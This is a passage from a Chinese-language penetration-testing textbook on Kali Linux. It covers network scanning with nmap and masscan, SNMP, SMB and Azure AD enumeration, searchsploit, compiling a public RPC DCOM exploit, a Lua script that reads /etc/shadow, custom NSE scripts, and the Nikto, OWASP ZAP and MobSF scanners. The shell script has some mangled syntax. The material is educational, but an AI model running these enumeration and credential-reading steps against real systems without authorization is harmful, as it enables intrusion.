nmap -sP IPrange
for i in {1..254}; do ping -c 1 10.10.0.$i | grep 'from'; done 

有时,攻击者在进行 ping 扫描时可能会遇到障碍,因为防火墙会阻止所有 ICMP 流量。在 ICMP 被阻止的情况下,我们可以利用以下命令,通过在 ping 扫描时指定端口号列表来识别存活的主机:

nmap -sP -PT 80 IPrange 

图 3.26 显示了使用 fping 工具发现的所有存活主机:

图 3.26:在类 C IP 范围上使用 gping 的输出

使用脚本结合 masscan 和 nmap 扫描

masscannmap 在详细枚举方面的速度和可靠性是我们目标导向渗透测试策略中非常有效的组合。在本节中,我们将编写一段脚本,它能够节省时间并提供比在利用漏洞时使用的工具更准确的结果:

#!/bin/bash
function helptext { 
  echo "enter the massnmap with the file input with list of IP address ranges" 
}
if [ "$#" -ne 1 ]; then 
  echo  "Sorry cannot understand the command" 
  helptext>&2 
  exit 1 
elif [ ! -s $1 ]; then 
  echo "ooops it is empty" 
  helptext>&2 
  exit 1 
fi 

if [ "$(id -u)" != "0" ]; then 
  echo "I assume you are running as root" 
  helptext>&2 
  exit 1 
fi
for range in $(cat $1); do 
  store=$(echo $range | sed -e 's/\//_/g') 
  echo "I am trying to create a store to dump now hangon" 
  mkdir -p pwd/$store; 
  iptables -A INPUT -p tcp --dport 60000 -j DROP; 
  echo -e "\n alright lets fire masscan ****" 
  masscan --open --banners --source-port 60000 -p0-65535 --max-rate 15000 -oBpwd/$store/masscan.bin $range; masscan --read$ 
  if [ ! -s ./results/$store/masscan-output.txt ]; then 
     echo "Thank you for wasting time" 
  else 
    awk'/open/ {print $4,$3,$2,$1}' ./results/$store/masscan-output.txt |  awk'
/.+/{ 
 if (!($1 in Val)) { Key[++i] = $1; } 
 Val[$1] = Val[$1] $2 ","; 
 END{ 
 for (j = 1; j <= i; j++) {
 printf("%s:%s\n%s",  Key[j], Val[Key[j]], (j == i) ? "" : "\n");
 } 
}'>}./results/$store/hostsalive.csv 

for ipsfound in $(cat ./results/$store/hostsalive.csv); do 
  IP=$(echo $TARGET | awk -F: '{print $1}'); 
  PORT=$(echo $TARGET | awk -F: '{print $2}' | sed's/,$//'); 
  FILENAME=$(echo $IP | awk'{print "nmap_"$1}'); 
  nmap -vv -sV --version-intensity 5 -sT -O --max-rate 5000 -Pn -T3 -p $PORT -oA ./results/$store/$FILENAME $IP; 
   done 
fi
done 

现在,将文件保存为 anyname.sh,然后执行 chmod +x anyname.sh。接下来,运行 ./anyname.sh fileincludesipranges

执行前面的脚本后,你应该能够看到以下内容,如 图 3.27 所示:

图 3.27:在 Kali 上运行我们自定义的脚本扫描网络

利用 SNMP

SNMP,即 简单网络管理协议,传统上用于收集网络设备的配置信息,如打印机、集线器、交换机、路由器及互联网协议上的服务器。攻击者可能会利用 SNMP(默认在 UDP 端口 161 上运行),特别是当 SNMP 配置不当或被忽视时,默认配置使用默认的社区字符串。

SNMP 首次引入于 1987 年:版本 1 在传输过程中使用明文密码;版本 2c 提高了性能,但仍使用明文密码;而最新的版本 3 则对所有流量进行了加密,并确保消息完整性。所有版本的 SNMP 都使用两种类型的社区字符串:

  • Public:社区字符串用于只读访问

  • Private:社区字符串用于读写访问

攻击者会寻找的是互联网中任何已识别的网络设备,并检查是否启用了公共社区字符串,以便提取与网络相关的所有信息并绘制拓扑结构,从而进行更有针对性的攻击。这些问题的产生通常是因为基于 IP 的 访问控制列表 (ACLs) 通常未被实施或根本未使用。

Kali Linux 提供了多种工具来执行 SNMP 枚举;攻击者可以利用 snmpwalk 或 onesixtyone 来了解完整的 SNMP 步骤,如 图 3.28 所示:

snmpwalk -c public ipaddress –v1 

一张包含文本的图片  描述自动生成

图 3.28:具有公共社区字符串的设备上的 snmpwalk 输出

攻击者还可以利用 Metasploit 通过使用 /auxiliary/scanner/snmp/snmpenum 模块进行 SNMP 枚举,如 图 3.29 所示。

有些系统安装了 SNMP,但系统管理员完全忽视了这一点:

图 3.29:通过 SNMP 协议使用 Metasploit 进行 SNMP 枚举

攻击者还可以通过 Metasploit 内的账户枚举模块提取所有用户账户,如 图 3.30 所示:

图 3.30:通过 SNMP 协议使用 Metasploit 进行账户枚举

通过 SMB 会话获取的 Windows 账户信息

传统上,在内部网络扫描期间,攻击者很可能利用最常用的内部 服务器消息块 (SMB) 会话。在外部利用的情况下,攻击者可以使用 nmap 进行枚举,但这种场景非常罕见。以下 nmap 命令将枚举 Windows 机器上的所有远程用户。这些信息通常会创建许多入口点,就像后期的暴力破解和密码猜测攻击一样:

nmap --script smb-enum-users.nse -p445 <host> 

攻击者还可以利用 Metasploit 模块 auxiliary/scanner/smb/smb_enumusers 执行该活动。图 3.31 显示了在运行 Metasploitable3 的 Windows 系统上成功枚举用户:

图 3.31:使用 SMB 协议在 Metasploit 中枚举用户

这可以通过具有有效的密码猜测来实现,或者通过暴力破解 SMB 登录。

定位网络共享

渗透测试人员如今经常忽略的最古老攻击之一是 NETBIOS 空会话,它可以让他们枚举所有网络共享:

smbclient -I TargetIP -L administrator -N -U "" 

enum4linux 也可以像 enum.exe 一样使用,enum.exe 曾是 BindView 的一部分,现已由 Symantec 接管;该工具通常用于从 Windows 和 Samba 系统中枚举信息:

enum4linux.pl [options] targetip 

选项如下(如 enum):

  • -U:获取用户列表

  • -M:获取机器列表

  • -S:获取共享列表

  • -P:获取密码策略信息

  • -G:获取组和成员列表

  • -d:详细信息;适用于 -U-S

  • -u user:指定要使用的用户名(默认为 ""

  • -p pass:指定要使用的密码(默认为 ""

该工具在扫描和识别域列表以及域 SID 方面更具攻击性,如 图 3.32 所示:

图 3.32:使用 enum4linux 枚举域控制器

主动目录域服务器侦察

在内部渗透测试活动中,渗透测试人员通常会被提供用户名和密码。在实际场景中,攻击者已进入网络,攻击场景将是他们能够利用正常用户权限做什么,以及如何提升权限来危及企业域。

Kali Linux 默认安装了 rpcclient,可以用来对活动目录环境进行更积极的侦察。该工具提供了多个选项来提取域和其他网络服务的所有详细信息,我们将在 第十章利用 中进行探索。系统内部工具之一 ADExplorer 也可以用来执行 AD 枚举。图 3.33 展示了域、用户和组的枚举:

图 3.33:使用有效凭据通过 rpcclient 枚举域和账户详细信息

枚举 Microsoft Azure 环境

在疫情期间,许多组织进行了转型,以更好地与云平台集成,特别是在 Microsoft Exchange Server 发布关键漏洞时。在本节中,我们将讨论使用 Kali Linux 从 Azure 环境中进行信息收集的各种技术。

要与 Azure 服务交互,我们首先需要下载客户端。可以通过在终端中运行以下命令来实现:

curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
sudo apt-get install ca-certificates curl apt-transport-https lsb-release gnupg
sudo apt-get install azure-cli 

成功安装 azure-cli 后,我们应该能够通过运行 az login 在 Kali Linux 中使用 az 客户端登录;如果没有订阅,攻击者可以通过添加 --no-subscriptions 来选择在没有订阅的情况下登录,如 图 3.34 所示:

图 3.34:登录 Microsoft 365 Azure 账户

一旦使用 Microsoft 365 账户登录,您应该能够成功接收云详情;如果该账户有订阅,它们将显示在 图 3.35 中:

计算机截图,描述已自动生成,信心中等

图 3.35:用户有权查看的 Azure 门户详情

表 3.7 提供了一些在枚举 Microsoft Azure 云服务时非常有用的命令:

命令 示例 描述
az ad user list az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}'``az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='<upn>' 该命令将提供所有连接到此 Azure AD 的用户列表
az ad group list az ad group list --output=json --query='[].{Group:displayName,Description:description}' 该命令将提供与租户关联的所有组的完整列表
az ad group member list az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='<group name>' 该命令将提供指定组的完整成员列表
az ad app list az ad app list --output=table --query='[].{Name:displayName,URL:homepage}'``az ad app list --output=json --identifier-uri='<uri>' 该命令将提供我们在 Azure AD 中可用的应用程序列表
az ad sp list az ad sp list --output=table --query='[].{Name:displayName,Enabled:accountEnabled,URL:homepage,Publisher:publisherName,MetadataURL:samlMetadataUrl}' 这将提供我们服务主体账户的详细信息

表 3.7:用于枚举 Microsoft Azure 云服务的命令

使用综合工具(Legion)

以前的安全工具 Sparta 在 Kali 的最新版本中已不可用,但它被另一个名为 Legion 的综合工具所取代,后者与 Sparta 是同一个分支。这个工具可以帮助渗透测试人员加速实现系统攻破的目标,它结合了多个工具,如 Nmap 和其他几个脚本与工具。它是一个半自动化工具,非常适合攻击者在进行基于端口和服务的集中信息收集时使用:

  • 主机: 这将列出渗透测试人员设置的所有目标

  • 服务: 这是在自动运行过程中需要运行的服务列表;例如,如果配置为运行 Nmap,并且识别到端口 80,它将自动截图

  • 工具: 这将包括在特定端口上运行的所有工具及其相关输出

图 3.36 显示了 Legion 在对本地子网执行操作时的表现。默认情况下,Legion 执行 nmap 完整端口扫描,并根据端口上识别的服务运行相应的 Nmap 脚本,并尽可能截图:

图形用户界面,文本描述自动生成

图 3.36:Legion 中的端口扫描输出

使用机器学习进行侦察

机器学习已成为网络安全中的关键技术。它是使用数据和算法模仿人类学习方式的艺术。机器学习是人工智能的一个分支。在本节中,我们将探讨 GyoiThon 工具,你可以在大规模渗透测试或红队活动中利用它。

机器学习算法有四种类型:

  • 有监督:这些学习算法提供了一组已知的数据(带标签),其中包括期望的输出。这种学习的目标是使算法通过学习数据中的模式,从而实现高准确度并进行预测。

  • 无监督:这些学习算法在没有标签的数据或不包含期望输出的数据集上进行训练。算法尝试解释和组织数据集。

  • 半监督:这是前述几种类型的混合形式。

  • 强化学习:这些算法基于有规律的学习过程,其中算法提供一组明确的动作、因素和期望结果。大多数时候,这是一种通过试错法探索不同可能性和选项,以确定哪种方法最优。

GyoiThon 由 gyoisamurai 开发,是一个基于朴素贝叶斯(监督)深度学习方法(深度学习是机器学习的一个子集)的渗透测试工具,使用 Python 3 编写。它包括一个软件分析引擎、漏洞识别引擎和报告生成引擎。要在 Kali Linux 机器上安装 GyoiThon,请在终端中运行以下命令:

$ sudo git clone https://github.com/gyoisamurai/GyoiThon
cd GyoiThon
sudo pip3 install -r requirements.txt
sudo apt --fix-broken install
sudo apt install python3-tk 

安装完要求后,使用终端运行sudo python3 gyoithon.py -h,你应该能够看到所有选项,如图 3.37所示:

文本描述自动生成

图 3.37:成功运行 GyoiThon 工具

在开始侦察活动之前,你可以编辑配置文件config.ini并输入代理详细信息(如果有),例如 Censys 和 DomainTools 的 API 信息。所有目标信息可以输入到host.txt文件中,该文件位于工具克隆的同一文件夹中。输入目标详细信息的格式为:协议(httphttps)、域名(cyberhia.com)、端口(80443)、根路径(//admin/)。使用host.txtcyberhia.com进行侦察的示例如下:

http cyberhia.com 80 /
https cyberhia.com 443 /admin/ 

最后,你可以在终端中运行sudo python3 gyoithon.py。工具中的软件引擎应该能够使用深度学习基础和签名通过正常的 Web 访问抓取横幅。图 3.38显示了对目标的成功侦察输出:

文本描述自动生成

图 3.38:使用 GyoiThon 进行侦察

你可以利用此工具的其他功能包括:

  • 扫描云服务并探索相关的(完全合格域名(FQDN)

  • 执行自定义 Google 搜索并基于产品版本探索默认路径

  • 对目标进行端口扫描

  • 使用 Metasploit 执行漏洞模块

由于它是一个监督学习算法,你应该能够根据输入到算法中的数据来确定输入和输出。在这种情况下,每次扫描执行时,数据将被标记,并且算法会进行训练,这将显著减少误报。例如,如果目标有数百个域名,这对于自动化服务器横幅抓取并使用漏洞检测引擎列出所有漏洞以准备利用非常有用。

总结

攻击者可能面临其活动被识别的实际风险,这使他们面临暴露于目标的风险。然而,我们现在已经看到了在主动侦察过程中可以采用的不同技术,以减少这种风险。攻击者必须确保在需要绘制网络图、寻找开放端口和服务,以及确定安装的操作系统和应用程序之间保持平衡。

攻击者面临的真正挑战是采用隐蔽的扫描技术,以降低触发警报的风险。

手动方法通常用于创建缓慢的扫描;然而,这种方法并不总是有效。因此,攻击者利用像 Tor 网络和各种代理应用程序这样的工具来隐藏他们的身份。

此外,我们还探讨了如何使用 GyoiThon 工具通过机器学习执行侦察,这可以显著减少你的手动工作量。

在下一章中,我们将探讨更多有助于漏洞评估的技术和流程,以及如何利用扫描器识别可作为潜在攻击目标的漏洞,以便推动目标的实现。

第四章:漏洞评估

被动和主动侦察的目标是识别可利用的目标,而漏洞评估的目标是找出最可能支持测试人员或攻击者目标的安全漏洞(未经授权的访问、数据修改或拒绝服务)。在攻击链的利用阶段,漏洞评估专注于创建访问权限,映射漏洞并将漏洞与攻击结合起来,保持对目标的持续访问。

已经识别出了成千上万的可利用漏洞,大多数漏洞都有至少一个概念验证代码文件或技术,能够让系统受到攻击。然而,成功的基本原理在不同的网络、操作系统和应用程序中是相同的。

本章内容将介绍以下内容:

  • 使用在线和本地漏洞资源

  • 使用 Nmap 进行漏洞扫描

  • Lua 脚本

  • 使用Nmap 脚本引擎NSE)编写你自己的 Nmap 脚本

  • 选择和定制多个漏洞扫描器

  • 在 Kali 中安装 Nessus 并探索 Qualys 的在线社区扫描器

  • 专用于 Web 和应用程序的扫描器

  • 一般的威胁建模

漏洞命名法

漏洞扫描通过自动化的过程和应用程序来识别网络、系统、操作系统或应用程序中可能被利用的漏洞。

当正确执行时,漏洞扫描能够提供设备清单(包括授权设备和恶意设备)、已主动扫描的已知漏洞,并通常会确认设备是否符合各种政策和规定。

不幸的是,漏洞扫描非常“响亮”;它们会发送大量数据包,容易被大多数网络控制检测到,这使得隐蔽几乎不可能实现。它们还存在以下限制:

  • 在大多数情况下,漏洞扫描器是基于特征的;它们只能检测已知的漏洞,并且只能在存在扫描器可以应用于目标的识别签名时检测到漏洞。对于渗透测试人员来说,最有效的扫描器是开源的;它们允许测试人员快速修改代码以检测新漏洞。

  • 扫描器会产生大量输出,常常包含虚假的正向结果,这可能会误导测试人员;尤其是,当网络中使用不同的操作系统时,虚假正向结果的发生率可高达 70%。

  • 扫描器可能会对网络造成负面影响;它们可能会产生网络延迟或导致某些设备故障。建议在初次扫描时,通过移除拒绝服务类型的插件来调整扫描。

  • 在某些司法管辖区,扫描被视为黑客行为,可能构成非法行为。

有多个商业和开源产品可以执行漏洞扫描。

本地和在线漏洞数据库

被动与主动侦察共同识别目标的攻击面,也就是可以评估漏洞的所有点的总数。仅安装操作系统的服务器只有在该操作系统存在漏洞时才可能被利用;然而,随着每个安装的应用程序,潜在的漏洞数量会增加。

渗透测试人员和攻击者必须找到可以利用已知和疑似漏洞的特定漏洞。开始搜索的第一步是访问供应商网站;大多数硬件和应用程序供应商在发布补丁和升级时会发布漏洞信息。如果已知某个弱点的漏洞,供应商通常会将此信息突出显示给他们的客户。

尽管它们的目的是让客户自行测试漏洞的存在,攻击者和渗透测试人员也会利用这些信息。

其他收集、分析并共享漏洞信息的在线站点如下:

漏洞数据库也被本地复制到 Kali,并可以在/usr/share/exploitdb目录中找到。

要搜索本地的exploitdb副本,请打开终端窗口,在命令提示符中输入searchsploit和所需的搜索词。这将调用一个脚本,该脚本会搜索包含所有漏洞列表的数据库文件(.csv)。搜索结果将返回已知漏洞的描述,以及相关漏洞的路径。该漏洞可以提取、编译并针对特定漏洞执行。请看一下图 4.1,它展示了exchange windows漏洞的描述:

图 4.1:在 searchsploit 中使用关键字进行搜索

搜索脚本从左到右扫描 CSV 文件中的每一行,因此搜索词的顺序非常重要;搜索Oracle 10g会返回多个漏洞,但10g Oracle则不会返回任何结果。

此外,脚本对大小写非常敏感;尽管你被指示在搜索词中使用小写字符,但搜索 vsFTPd 并没有结果,而搜索 vs FTPd(在 vsFTPd 之间有空格)则返回了更多的结果。可以使用 grep 命令或诸如 KWriteapt-get install kwrite)这样的搜索工具来更有效地搜索 CSV 文件。

本地数据库的搜索可能会识别出几个可能的漏洞,并列出描述和路径;然而,这些漏洞需要根据你的环境进行定制,然后在使用前进行编译。将漏洞复制到 /tmp 目录(给定路径未考虑到 /windows/remote 目录位于 /platforms 目录下的情况)。

以脚本形式呈现的漏洞,例如 Perl、Ruby 和 PHP 认证漏洞,比较容易实现。例如,如果目标是一个可能容易受到远程代码执行攻击的 Microsoft Exchange 2019 服务器,且需要有效的凭证,可以将漏洞复制到 root 目录,然后像标准的 Python 文件一样执行,如 图 4.2 所示:

图 4.2:从 exploit-db 运行 Python 脚本,针对 Microsoft Exchange 服务器的漏洞

许多漏洞以源代码形式提供,使用前需要编译。例如,针对 Windows RPC 特定漏洞的搜索会识别出几个可能的漏洞。

被识别为 76.c 的 RPC DCOM 漏洞在实践中被证明是相对稳定的。因此,我们将其作为示例。为了编译这个漏洞,将其从存储目录复制到 /tmp 目录。在该目录下,使用以下命令通过 GCC 编译:

root@kali:~# gcc 76.c -o exploit 

这将使用 GNU 编译器集合应用程序将 76.c 编译成一个名为 76.exe 的输出文件,如 图 4.3 所示:

图 4.3:编译 C 文件以创建漏洞可执行文件

尽管我们收到了一些警告和备注,编译成功并没有出现任何错误消息。当你在目标上调用应用程序时,必须使用符号链接调用可执行文件(该文件不存储在 /tmp 目录中),如下所示:

root@kali:~# ./exploit 

这个漏洞的源代码有详细的文档,所需的参数在执行时也很清楚,如 图 4.4 所示:

图 4.4:运行已编译的漏洞

不幸的是,并非所有来自 Exploit 数据库和其他公共来源的漏洞都能像 76.c 那样轻松编译。有几个问题使得这些漏洞对于渗透测试人员来说,使用起来既有问题甚至是危险的,具体问题如下:

  • 有意的错误或不完整的源代码通常会遇到,因为有经验的开发人员试图将漏洞隔离开,避免不熟悉风险的初学者尝试在不知晓风险的情况下入侵系统。

  • 漏洞利用并不总是有足够的文档说明;毕竟,没有标准来规范用于攻破数据系统的代码的创建和使用。因此,这些漏洞利用工具可能很难使用,特别是对于缺乏应用开发经验的测试人员。

  • 由于环境的变化(如对目标系统应用的新补丁和目标应用中的语言变化)可能导致不一致的行为,这可能需要对源代码进行重大修改;同样,这可能需要一位熟练的开发者。

  • 总是存在免费代码包含恶意功能的风险。渗透测试人员可能以为自己正在进行概念验证POC)测试,但却未意识到漏洞利用工具还在被测试的应用中创建了一个后门,开发者可能利用该后门。

为了确保一致的结果并创建一个遵循一致实践的编码社区,已经开发了多个漏洞利用框架。最流行的漏洞利用框架是 Metasploit 框架,我们将在第十章《漏洞利用》中进一步探讨 Metasploit。

接下来,让我们探讨渗透测试人员在漏洞扫描过程中可以利用的不同工具。

使用 Nmap 进行漏洞扫描

没有 Nmap 的安全操作系统发行版是不存在的。到目前为止,我们已经讨论了如何在主动侦察过程中使用 Nmap,但攻击者不仅仅使用 Nmap 来寻找开放端口和服务,还利用 Nmap 执行漏洞评估。截至 2021 年 12 月 21 日,Nmap 的最新版本是 7.92,随附有 600 多个 NSE 脚本,如图 4.5所示:

图 4.5:查看 /usr/share/nmap/scripts 文件夹中的所有脚本

渗透测试人员利用 Nmap 最强大、最灵活的功能,它们允许他们编写自己的脚本,并且还可以自动化脚本以简化漏洞利用过程。NSE 的主要开发目的如下:

  • 网络发现:攻击者利用 Nmap 的主要目的就是网络发现,正如我们在第三章《外部与内部网络的主动侦察》中学到的那样。

  • 服务的版本分类检测:同一个服务有成千上万的服务版本,Nmap 使得识别这些服务变得更加容易。

  • 漏洞检测:自动识别广泛网络范围内的漏洞;然而,Nmap 本身不能完全充当漏洞扫描器。

  • 后门检测:一些脚本被编写用来识别后门模式。如果网络中有任何蠕虫感染,它会使攻击者的工作变得容易,能够缩小范围并集中精力远程控制机器。

  • 漏洞利用:攻击者也可以利用 Nmap 与其他工具(如 Metasploit)结合进行漏洞利用,或者编写自定义的反向 shell 代码,并将 Nmap 的功能与这些工具结合使用进行利用。

在启动 Nmap 执行漏洞扫描之前,渗透测试人员必须更新 Nmap 脚本数据库,以查看是否有新脚本被添加到数据库中,确保不会错过漏洞识别:

sudo nmap --script-updatedb 

使用以下命令对目标主机运行所有脚本:

sudo nmap -T4 -A -sV -v3 -d -oA Target output --script all --script-argsvulns.showall target.com 

Lua 脚本介绍

Lua 是一种轻量级的嵌入式脚本语言,基于 C 语言开发,创建于 1993 年的巴西,至今仍在积极开发中。它是一种功能强大且快速的编程语言,主要用于游戏应用和图像处理。其完整的源代码、手册和一些平台的二进制文件不超过 1.44 MB(小于一张软盘)。一些用 Lua 开发的安全工具包括 Nmap、Wireshark 和 Snort 3.0。

Lua 被选择作为信息安全脚本语言的原因之一是其紧凑性,没有缓冲区溢出和格式字符串漏洞,而且它是可解释的。

可以通过在终端输入sudo apt install lua5.4命令直接在 Kali Linux 上安装 Lua。以下代码提取是读取文件并打印第一行的示例脚本:

#!/usr/bin/lua 
local file = io.open("/etc/shadow", "r")
contents = file:read()
file:close()
print (contents) 

Lua 与其他脚本语言类似,如 Bash 和 Perl 脚本。前面的脚本应该会产生如图 4.6所示的输出:

图 4.6:运行 Lua 脚本以显示 /etc/shadow 文件

定制 NSE 脚本

为了达到最大效果,脚本的定制化帮助渗透测试人员及时发现正确的漏洞。然而,大多数时候,攻击者没有时间编写脚本。以下代码提取是一个 Lua NSE 脚本,用于识别特定的文件位置,我们将使用 Nmap 在整个子网中进行搜索:

local http=require 'http' 
description = [[ This is my custom discovery on the network ]] 
categories = {"safe","discovery"} 
require("http")
function portrule(host, port) 
  return port.number == 80 
end

function action(host, port) 
  local response 
  response = http.get(host, port, "/config.php") 
  if response.status and response.status ~= 404 
    then 
    return "successful" 
  end 
end 

将文件保存到/usr/share/nmap/scripts/文件夹中。最终,你的脚本已经准备好进行测试,如图 4.7所示;你应该能够顺利运行自己的 NSE 脚本:

图 4.7:运行我们新创建的 Nmap 脚本

为了完全理解前面的 NSE 脚本,以下是代码中内容的描述:

  • local http: require'http':这行调用 Lua 中的正确库;此行调用 HTTP 脚本并将其作为本地请求。

  • description:这是测试人员/研究人员可以输入脚本描述的地方。

  • categories:通常包含两个变量,其中一个声明它是否是安全的或具侵入性的。

Web 应用漏洞扫描器

漏洞扫描器存在所有扫描器的常见缺点(扫描器只能检测已知漏洞的特征,无法判断漏洞是否能够被实际利用;假阳性报告的发生率较高)。此外,Web 漏洞扫描器无法识别业务逻辑中的复杂错误,也无法准确模拟黑客使用的复杂链式攻击。

为了提高可靠性,大多数渗透测试人员使用多种工具扫描 Web 服务。当多个工具报告某个特定漏洞可能存在时,这种共识会指引测试人员检查可能需要手动验证的区域。

Kali 附带了大量的 Web 服务漏洞扫描器,并提供了一个稳定的平台来安装新扫描器并扩展其功能。这使得渗透测试人员可以通过选择以下类型的扫描工具来提高测试的有效性:

  • 最大化测试的完整性(识别的漏洞总数)和准确性(漏洞为真实漏洞而非假阳性结果)。

  • 尽量减少获得可用结果所需的时间。

  • 尽量减少对被测试 Web 服务的负面影响。这可能包括由于流量吞吐量增加而导致系统变慢。例如,最常见的负面影响之一是测试表单向数据库输入数据,并将更新内容通过邮件发送给个人;不受控的此类表单测试可能会导致超过 30,000 封邮件被发送!

选择最有效工具的过程具有显著复杂性。除了已列出的因素外,一些漏洞扫描器还会发起相应的漏洞利用并支持利用后活动。就我们的目的而言,所有扫描可被利用的弱点的工具都将被视为漏洞扫描器。Kali 提供了多种不同的漏洞扫描器,包括以下几种:

  • 扩展传统漏洞扫描器功能,包括网站及相关服务的扫描工具(例如,Metasploit 框架和 Websploit)。

  • 扩展非传统应用程序(如 Web 浏览器)功能以支持 Web 服务漏洞扫描的扫描器(OWASP Mantra)。

  • 专门开发用于支持网站和 Web 服务中侦察和漏洞利用检测的扫描器(如 Arachni、Nikto、Skipfish、WPScan、joomscan 等)。

Nikto

Nikto 是最常用的主动 web 应用扫描器之一。它对 web 服务器进行全面的测试。其基本功能是检查 6,700 多个潜在危险的文件或程序,以及过时的服务器版本和 270 多个服务器版本的特定漏洞。Nikto 识别服务器配置错误、索引文件和 HTTP 方法,还能找到已安装的 web 服务器和软件版本。Nikto 是基于开放公共许可证版本发布的 (opensource.org/licenses/gpl-license)。

Nikto 是一个基于 Perl 的开源扫描器,支持 IDS 规避和用户自定义扫描模块;然而,这个原始的网页扫描器已经显得有些过时,不如一些现代扫描器那么准确。

大多数测试人员在测试网站时首先使用 Nikto,这是一个简单的扫描器(特别是在报告方面),通常提供准确但有限的结果;此扫描的样本输出如 图 4.8 所示:

图 4.8:在端口 80 上运行 Nikto 对目标进行扫描

自定义 Nikto

最新版本的 Nikto 是 2.1.6。社区允许开发者调试并调用特定的插件。这些插件可以根据以前的版本进行自定义。你可以获取所有插件的列表,然后指定一个特定的插件来执行扫描。目前大约有 35 个插件可供渗透测试人员使用;图 4.9 提供了最新版本的 Nikto 中可用的插件列表:

图 4.9:列出 Nikto 中的所有插件

例如,如果攻击者发现显示 Apache 服务器 2.4.0 的横幅信息,Nikto 可以通过运行以下命令来进行自定义,运行 Apache 用户枚举的特定插件:

sudo nikto -h target.com -Plugins "apacheusers(enumerate,dictionary:users.txt);report_xml" -output apacheusers.xml 

渗透测试人员应能够看到以下信息:

图 4.10:使用特定插件运行 Nikto

当 Nikto 插件成功运行时,apacheusers.xml 输出文件应包含目标主机上的活动用户。

攻击者还可以将 Nikto 扫描指向 Burp 或任何代理工具,使用命令 nikto.pl -host <hostaddress> -port <hostport> -useragentnikto -useproxy http://127.0.0.1:8080

下一步是使用更先进的扫描器,扫描更多的漏洞;这些扫描器可能需要更长的时间才能完成。复杂的漏洞扫描(根据要扫描的页面数量以及网站的复杂性来确定,其中可能包括允许用户输入的多个页面,如搜索功能或用于从用户收集数据并存入后端数据库的表单)通常需要几天才能完成。

OWASP ZAP

基于已验证的漏洞数量,OWASP ZAP 是最有效的扫描器之一。这个工具未预装在 Kali Linux 2021 中。该工具基于 Paros 代理工具的分支。最新版本是 2.11.1,发布于 2021 年 12 月 11 日。您可以通过在终端上运行 sudo apt install zaproxy 进行安装,并通过运行 zaproxy 打开,这应该引导我们到图 4.11

图形用户界面,应用程序  自动生成描述

图 4.11:加载 OWASP ZAP 2.11.1

应用程序启动后,它应该询问您是否希望会话是持久的还是临时的。根据您的情况做出最合适的选择。这个扫描器的一个特点是它可以作为独立的自动扫描器使用,也可以作为代理工具来测试被测试的网络应用程序的相关部分。在开始扫描活动之前,更新所有插件以最大化输出。如果选择使用自动扫描器,该工具应该显示以下屏幕,以输入目标 URL 并选择使用传统爬虫和/或 AJAX 爬虫。如果选择了 AJAX 爬虫,则该应用程序将使用浏览器遍历网站上的每个链接,并为下一阶段(执行主动扫描)捕获它们。使用手动/代理方法来保持网络流量/网页请求低,并集中在不创建巨大噪音的情况下测试,避免触发警报或导致拒绝服务。与其他扫描器不同,此工具可能产生虚警:

图形用户界面,文本,应用程序,电子邮件  自动生成描述

图 4.12:启动 OWASP ZAP 自动扫描

要测试特定的漏洞,您可以从主菜单中导航到分析和扫描策略管理器,选择默认策略,然后点击修改,这将引导您到图 4.13。现在您应该能够修改相关的攻击:

图 4.13:自定义自动扫描策略

ZAP 对目标进行扫描,并将漏洞分类为高、中、低和信息警报。您可以点击识别的结果以深入具体发现。OWASP ZAP 可帮助您发现漏洞,如反射型跨站脚本、存储型跨站脚本、SQL 注入和远程操作系统命令注入。扫描完成后,您应该能够看到以下屏幕,显示目标的文件夹结构、警报和扫描器执行的其他活动(主动扫描/蜘蛛/AJAX 蜘蛛):

图 4.14:在警报部分列出 OWASP ZAP 发现的所有漏洞

此外,OWASP ZAP 在代理部分提供了特殊功能,允许渗透测试人员查询请求并观察响应,以执行验证,这被我们称为手动 PoC。

像 OWASP DirBuster 这样的工具也可以被攻击者用来定义自己的用户代理或模拟任何知名的用户代理头部,如 IRC bot 或 Googlebot,并且可以配置最大子进程数量、总后代数以及可遍历路径的数量。例如,如果爬虫发现了www.target.com/admin/,则可以在 URL 中添加字典项,如www.target.com/admin/secret/,默认最大值为16,意味着工具将扫描最多 16 个文件夹路径。然而,攻击者可以利用其他工具进一步深入挖掘,最大化工具的有效性,并精确选择路径数量。如果存在保护机制,如 WAF 或网络级 IPS,渗透测试人员可以选择每秒发送少量连接请求来扫描目标。

其他工具包括 Burp Suite Community Edition,它在 Kali Linux 中预安装,是被认为最好的代理工具之一。它提供了多种选项,测试人员可以使用。然而,工具的免费版无法扫描并保存输出。商业版的工具允许测试人员添加额外的插件,并在探索 Web 应用程序时执行被动扫描。

移动应用程序漏洞扫描器

渗透测试人员通常忽视应用商店(如 Apple、Google 等)中的移动应用程序;然而,这些应用程序也充当了网络的入口点。在本节中,我们将介绍如何快速设置移动应用扫描器,以及如何将扫描器的结果结合起来,利用这些信息识别更多的漏洞并实现渗透测试的目标。

移动安全框架MobSF)是一个开源的、自动化的渗透测试框架,适用于所有移动平台,包括 Android、iOS 和 Windows。整个框架是用 Django Python 框架编写的。

该框架可以直接从github.com/MobSF/Mobile-Security-Framework-MobSF下载,或者通过在 Kali Linux 中运行git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF命令来克隆。

一旦框架被克隆,使用以下步骤启动移动应用扫描器:

  1. 进入Mobile-Security-Framework-MobSF文件夹:

    cd Mobile-Security-Framework-MobSF/ 
    
  2. 使用以下命令安装依赖项:

    sudo apt install python3-venv
    sudo python3 -m pip install -r requirements.txt
    sudo ./setup.sh
    sudo ./run.sh 
    

    如果测试人员第一次运行时,可能会遇到python3: No module named pip的错误信息。要解决此错误,只需在终端中运行sudo apt install python3-pip命令,然后继续后续步骤。

  3. 安装完成后,检查配置设置,输入 sudo ./setup.shsudo python3 setup.py install。这将设置所有前提条件,并完成数据库的所有迁移种子。

  4. 使用 sudo ./run.sh yourIPaddress:portnumber 命令运行漏洞扫描器,如 图 4.15 所示:

    图 4.15:在端口 8080 上运行 MobSF 框架

